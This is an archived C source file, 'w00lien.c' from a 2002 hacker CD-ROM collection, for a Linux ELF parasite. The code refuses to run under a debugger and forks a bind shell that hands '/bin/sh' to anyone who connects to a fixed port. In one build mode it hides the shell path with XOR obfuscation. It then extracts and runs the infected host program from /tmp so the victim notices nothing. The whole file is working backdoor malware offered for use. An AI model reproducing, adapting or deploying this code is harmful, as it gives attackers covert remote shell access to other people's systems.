home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / w00lien / w00lien.c < prev   
Encoding:
C/C++ Source or Header  |  2002-04-17  |  3.2 KB  |  140 lines

  1. /* Copyright (C) 2002 w00w00 Security Development (WSD) 
  2.  *                                    -  w00lien v0.0.3 
  3.  *   
  4.  *   This is a simple parasite for linux/86 systems,
  5.  * use it with care, make sure to read the README for 
  6.  * more details. Have a nice night heh ;) 
  7.  *
  8.  * www.w00w00.org - w00w00 Security Development (WSD)
  9.  */
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <unistd.h>
  14. #include <fcntl.h>
  15. #include <sys/stat.h>
  16. #include <sys/socket.h>
  17. #include <netinet/in.h>
  18. #include <linux/user.h>
  19.  
  20. #include "ebola.h"                                          /* here we define parasite's filesize */
  21.  
  22. #ifdef SILENT
  23. #define XOR_SELF         22  
  24. #define SPATH            "\x39\x74\x7f\x78\x39\x65\x7e"     /* Our /bin/sh encrypted heh ;)     */
  25. #endif
  26.  
  27.  
  28. #define  TEMP             "/tmp/.para.tmp"                  /* tmp file, remove it after        */
  29. #define  KILL(X)          exit(1)                
  30.  
  31. int soc,cli;
  32. struct sockaddr_in serv_addr;
  33.  
  34.  
  35. #ifdef SILENT
  36. /* Our dex0r function for decrypting heh ;) */
  37. char *
  38. dex0r(char *str)
  39. {
  40.   static char *buf;
  41.   int c;
  42.  
  43.   if (buf == NULL)
  44.        buf = malloc(1024);
  45.  
  46.   for (c=0; c < strlen(str); c++)
  47.        buf[c] = str[c]^XOR_SELF;
  48.   buf[strlen(str)] = '\0';
  49.   return(buf);
  50. }
  51. #endif
  52.  
  53.  
  54. int main(int argc, char *argv[], char *envp[])
  55. {
  56.         int input, output,lenght;
  57.     
  58.         char *dope;
  59.         struct stat stat;
  60.         
  61.         /* Anti-Debugging trick */
  62.         if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0)
  63.         {
  64.         printf("\n\n *** Debugging detected??... FUCK!!! \n\n");
  65.         return(1);
  66.         }
  67.  
  68. /* SILENT mode, some simple encryption */
  69. #ifdef SILENT 
  70.         /* let's fork */
  71.         if(fork()==0) /* start of the portshell */
  72.         {
  73.         serv_addr.sin_family=2;
  74.         serv_addr.sin_addr.s_addr=0;
  75.         serv_addr.sin_port=(0x7350);
  76.         soc=socket(2,1,6);
  77.         bind(soc,(struct sockaddr *)&serv_addr,0x10);
  78.         listen(soc,1);
  79.         cli=accept(soc,0,0);
  80.         dup2(cli,0);
  81.         dup2(cli,1);
  82.         dup2(cli,2);
  83.         execl(dex0r(SPATH),"PS",(char*)0);
  84.         }
  85. #endif
  86.  
  87. /* SINGLE mode no extra encryption */
  88. #ifdef SINGLE
  89.         /* let's fork */
  90.         if(fork()==0) /* start of the portshell */
  91.         {
  92.         serv_addr.sin_family=2;
  93.         serv_addr.sin_addr.s_addr=0;
  94.         serv_addr.sin_port=(0x7350);
  95.         soc=socket(2,1,6);
  96.         bind(soc,(struct sockaddr *)&serv_addr,0x10);
  97.         listen(soc,1);
  98.         cli=accept(soc,0,0);
  99.         dup2(cli,0);
  100.         dup2(cli,1);
  101.         dup2(cli,2);
  102.         execl("/bin/sh","sh","-i",0);
  103.         }
  104. #endif
  105.     input = open("/proc/self/exe", O_RDONLY);
  106.  
  107.     if (input < 0) 
  108.         KILL("open(input)");
  109.  
  110.     if (fstat(input, &stat) < 0) 
  111.         KILL("fstat");
  112.  
  113.     lenght = stat.st_size - PARASIZE;
  114.     dope = malloc(lenght);
  115.           
  116.     if (dope == NULL) 
  117.         KILL("malloc");
  118.           
  119.     if (lseek(input, PARASIZE, SEEK_SET) != PARASIZE) 
  120.         KILL("lseek(input)");
  121.  
  122.     if (read(input, dope, lenght) != lenght) 
  123.         KILL("read(input)");
  124.  
  125.     close(input);
  126.     output = open(TEMP, O_RDWR | O_CREAT | O_TRUNC, stat.st_mode);
  127.  
  128.     if (output < 0) 
  129.         KILL("open(output)");
  130.  
  131.     if (write(output, dope, lenght) != lenght) 
  132.         KILL("write(output)");
  133.  
  134.     free(dope);
  135.     close(output);
  136.  
  137.     exit(execve(TEMP, argv, envp));
  138. }
  139.  
  140.